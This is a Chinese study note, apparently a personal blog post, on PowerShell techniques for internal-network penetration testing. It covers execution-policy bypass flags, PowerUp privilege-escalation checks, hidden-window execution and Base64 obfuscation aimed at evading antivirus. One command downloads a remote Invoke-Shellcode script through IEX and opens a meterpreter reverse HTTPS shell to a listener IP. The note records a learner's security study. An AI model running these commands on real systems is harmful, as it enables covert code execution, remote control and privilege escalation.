《内网安全攻防》学习笔记【1】

0x01 前言

还是回归常态了 有道云笔记用的我不太舒服 用这个记一下笔记吧 ,最近开始学内网渗透方面,但是也没有一个那种系统的学习方法,就先啃着这本书在看看一些大佬的文章来入门。文章随缘写,巩固基础 ,看到哪写到哪,我在思考分开写文章还是合理来就在这篇保持更新

0x02 PowerShell的使用

1.PowerShell的执行策略

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用:Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。

Restricted:脚本不能运行(默认设置)
RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
AllSigned:仅当脚本由受信任的发布者签名时才能运行;
Unrestricted:允许所有的脚本执行
在这里插入图片描述

可用这条cmdlit命令设置PowerShell的执行策略Set-ExecutionPolicy

注:PowerShell命令不区分大小写

2.常用方法

首先,一个PowerShell脚本其实就是一个简单的文本文件,需要在文件名后加上.ps1拓展名
其次想要运行PowerShell脚本,必须用管理员权限将策略从Restricted变成Unresttricted 那么我们在渗透时,就要用一些方法去绕过策略
(1)绕过本地权限并执行

PowerShell.exe -ExecutionPolicy Bypass -File Npce3r.ps1

参数说明:
-ExecutionPolicy Bypass(-Exec Bypass): 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。

通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每次运行PowerShell脚本时都要使用这个参数。-----校长

测试一下 好像对目录的要求还挺严格
在这里插入图片描述
写到这里搜了一下 powerup是一个powershell框架 Powerup
这里我看了一下我电脑自带了这个 用Get-Command -Module powerup命令查看有没有
但是我猜可能渗透的时候目标服务器没有 所以都会写上传Powerup.ps1脚本?主要看到各种地方都写了这一步,不知道自己有哪里理解错了,就也写下来吧

通常,在Windows下可以通过内核漏洞来提升权限。但是,我们常常会碰到无法通过内核漏洞提权所处服务器的情况,这个时候就需要利用脆弱的Windows服务提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权等,此框架可以在内核提权行不通的时候,帮助我们寻找服务器的脆弱点,进而同脆弱点实现提权的目的。

然后就可以Import-Moudule加载这个脚本了 下载的路径根据个人情况

powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"

Invoke-AllChecks 函数将检查目标主机的攻击向量以进行权限提升
该模块会自动执行PowerUp下所有的脚本来检查目标主机

(2)从网站服务器下载脚本绕过本地权限并隐藏执行

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile File xx.ps1

参数说明
-WindowStyle Hidden(-w Hidden):隐藏窗口
-NoLogo: 启动不显示版权标志的Powershell
-NoProfile(-Nop): PowerShell控制台不加载当前用户的配置文件
-NonInteractive(-NonI): 非交互模式.PowerShell不为用户提供交互式的提示
-noexit: 执行后不退出Shell(这个参数在使用键盘记录等脚本时非常重要)
顺便书上看不明白的在校长那看明白了

Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234

这段是利用IEX下载远程PS1脚本绕过权限执行 链接处只能用单引号
隔壁文章拓展的我不太看得懂,因为我不会msf 等我会了再说

(3)使用Base64对PowerShell进行编码
使用 Base64 对 Powershell 命令进行编码的目的是混淆和压缩代码, 从而避免脚本因为一些特殊字符被杀毒软件查杀
可以使用python脚本对命令编码 脚本地址ps_encoder.py在使用这个脚本进行文本转换的时候,对象必须为文本文件
在上面命令后面加个> Npce3r.txt即可
然后给ps_encoder.py授予执行权限

chmod +x ps_encoder.py

(默认是用kali的 所以windows当然不行 别问这种奇怪的问题)
编码

./ps_encoder.py -s raw.txt

3.运行32位和64位PowerShell

一些PowerShell脚本只能运行在指定的平台上
在64位的windows系统中存在两个版本的powershell 一个x64一个x86 两个版本的执行策略不会互相影响 x64版本配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\
所以执行的命令如下
32位

powershell.exe -NoP -NonI -W Hidden -Exec Bypass

64位

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

暂且休息 搭建内网环境过段时间再说

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值